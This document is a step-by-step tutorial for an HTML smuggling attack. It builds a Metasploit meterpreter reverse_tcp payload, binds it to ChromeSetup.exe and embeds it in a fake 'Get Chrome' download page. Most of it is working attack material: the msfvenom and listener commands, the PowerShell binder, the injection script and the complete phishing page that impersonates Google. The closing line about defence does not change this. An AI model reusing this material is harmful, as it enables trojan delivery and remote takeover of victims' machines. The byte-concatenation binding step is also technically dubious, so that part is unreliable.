HTML Smuggling Attack Construction: Metasploit reverse_tcp payload bound with Legitimate ChromeSetup.exe

Objective:

To deliver a Metasploit reverse_tcp payload bound with the legitimate ChromeSetup.exe file through an HTML smuggling technique.

Prerequisites

1. **Kali Linux Machine**:
   - Apache web server installed and running.
   - `msfvenom` and Metasploit Framework installed.
   - Base64 encoding tool (`base64` command).
   - Python was installed for running scripts.
2. **Windows Machine**:
   - PowerShell for script execution.
   - ChromeSetup.exe and payload.exe are ready for binding.
   - SCP client for file transfers (e.g., PuTTY's PSCP or WinSCP).
3. **Network Setup**:
   - Both machines should be on the same network or have proper network configurations for SSH and web access.

Steps:

1. Create the Malicious Payload:

Generate Metasploit Payload:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=*your_ip*
lport=4444 -f exe -o payload.exe
```

- **Explanation**: This command creates a Metasploit payload that will establish a reverse TCP connection back to the attacker's machine when executed.

2. Bind Payload with ChromeSetup.exe Using PowerShell:

- **Using Binding Tool (recommended):**

UnamBinder 1.3.0 - A free silent native file binder - https://github.com/UnamSanctam/UnamBinder.git

- **Using PowerShell Script:**

```
# Read both executables
$exe1 =
[System.IO.File]::ReadAllBytes("C:\\Users\\allen\\Downloads\\ChromeSe
tup.exe")
$exe2 =
[System.IO.File]::ReadAllBytes("C:\\Users\\allen\\Downloads\\payload.
exe")

# Combine them
$combined = New-Object byte[] ($exe1.Length + $exe2.Length)
[Array]::Copy($exe1, 0, $combined, 0, $exe1.Length)
[Array]::Copy($exe2, 0, $combined, $exe1.Length, $exe2.Length)

# Write the combined executable to a new file
[System.IO.File]::WriteAllBytes("C:\\Users\\allen\\Downloads\\combine
d.exe", $combined)
```

  - **Explanation**: This script reads the legitimate ChromeSetup.exe and the payload.exe, combines them into a one-byte array, and writes the combined data into a new executable file named `combined.exe`.

If the script is saved in a file, execute it by typing the following command:

```
.\your_script_name.ps1
```

3. Encode the Payload:

Convert to Base64:

```
base64 -w0 combined.exe > payload.b64
```

  - **Explanation**: This command encodes the combined executable into a base64 string, which can be embedded in an HTML file.

4. Create the HTML Smuggling Page:

Create `test.html`:

```
<!DOCTYPE html>
<html>
<head>
    <title>Download Chrome</title>
    <style>
```

```
        body { font-family: Arial, sans-serif; text-align: center;
padding: 50px; background-color: #f1f1f1; }
        .container { max-width: 600px; margin: auto; background:
white; padding: 20px; box-shadow: 0 0 10px rgba(0,0,0,0.1);
border-radius: 10px; }
        .btn { background-color: #4285f4; color: white; padding: 15px
25px; font-size: 18px; border: none; cursor: pointer; border-radius:
5px; transition: background-color 0.3s; }
        .btn:hover { background-color: #357ae8; }
        .btn:active { background-color: #2b5cb7; }
        .loader { border: 8px solid #f3f3f3; border-top: 8px solid
#4285f4; border-radius: 50%; width: 50px; height: 50px; animation:
spin 1s linear infinite; display: none; margin: 20px auto; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% {
transform: rotate(360deg); } }
    </style>
</head>
<body>
    <div class="container">
        <h1>Get Chrome</h1>
        <p>Download the fast, secure browser recommended by
Google.</p>
        <button class="btn" onclick="startDownload()">Download
Chrome</button>
        <div class="loader" id="loader"></div>
    </div>

    <script>
        var fileData = 'BASE64_ENCODED_STRING'; // Replace with your
base64 encoded payload
        var fileName = 'ChromeSetup.exe';

        function startDownload() {
            document.getElementById('loader').style.display =
'block';
            setTimeout(downloadPayload, 3000); // Add a 3-second
delay for the gimmick effect
        }

        function downloadPayload() {
            var binary = atob(fileData);
            var len = binary.length;
            var buffer = new Uint8Array(len);
            for (var i = 0; i < len; i++) {
                buffer[i] = binary.charCodeAt(i);
            }

            var blob = new Blob([buffer], { type:
'application/octet-stream' });
            var url = window.URL.createObjectURL(blob);
            var a = document.createElement('a');
            a.href = url;
            a.download = fileName;
            document.body.appendChild(a);
            a.click();
            window.URL.revokeObjectURL(url);
            document.getElementById('loader').style.display = 'none';
        }
    </script>
</body>
</html>
```

- **Explanation**: This HTML page contains JavaScript to decode the base64-encoded payload and create a downloadable file when the "Download Chrome" button is clicked. It also includes a loading spinner for visual effects.
- **Insert Base64 String into HTML**

Run the Python script to insert the base64 string into the HTML file:

```
import re

# Define the paths to the input and output files
b64_file_path = 'payload.b64'
html_file_path = 'test.html'
output_file_path = 'output_test.html'

# Read the base64 string from the payload.b64 file
with open(b64_file_path, 'r') as b64_file:
    base64_string = b64_file.read().strip()

# Read the contents of the test.html file
with open(html_file_path, 'r') as html_file:
    html_content = html_file.read()

# Replace the placeholder with the actual base64 string
new_html_content = re.sub(
    r"var fileData = '.*?';",
    f"var fileData = '{base64_string}';",
    html_content
)
```

```
# Write the updated content to a new HTML file
with open(output_file_path, 'w') as output_file:
    output_file.write(new_html_content)

print(f"Base64 string inserted and saved to {output_file_path}")
```

- Run this script to create the new HTML file with the base64 payload inserted.

5. Host the HTML File:

Move `test.html` to the web server directory:

```
sudo mv test.html /var/www/html/test.html
```

  - **Explanation**: This command moves the HTML file to the web server's root directory.

6. Start the Web Server:

Ensure the web server is running:

```
sudo service apache2 start
```

  - **Explanation**: This command starts the Apache web server.

7. Access the HTML Page:

Open the web page on the target machine:

```
http://your_server_ip/test.html
```

  - **Explanation**: The target user navigates to the hosted HTML page.

8. Download and Execute the Payload:

- Click the "Download Chrome" button to download `ChromeSetup.exe`.
- Before executing the downloaded file, go through step 9 and then run the downloaded file to establish a reverse connection to the attacker's machine.

9. Metasploit Setup:

Start the Metasploit listener:

```
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost *your_ip*
set lport 4444
exploit
```

- **Explanation**: This sets up the Metasploit framework to listen for incoming connections from the payload.

10. Monitor Meterpreter Session:

Once the payload is executed, a Meterpreter session should open in Metasploit:

```
[*] Sending stage (201283 bytes) to *your_ip*
[*] Meterpreter session 1 opened (*your_ip*:4444 -> *your_ip*:xxxxx)
at 2024-07-14 12:34:56 +0000
```

- **Explanation**: This indicates that the reverse TCP connection has been successfully established, and the attacker now has a Meterpreter session on the target machine.

Conclusion

By following these steps, you can construct and execute an HTML smuggling attack to deliver a combined payload using a web server and Metasploit. This technique highlights the importance of proper security measures to defend against such attacks.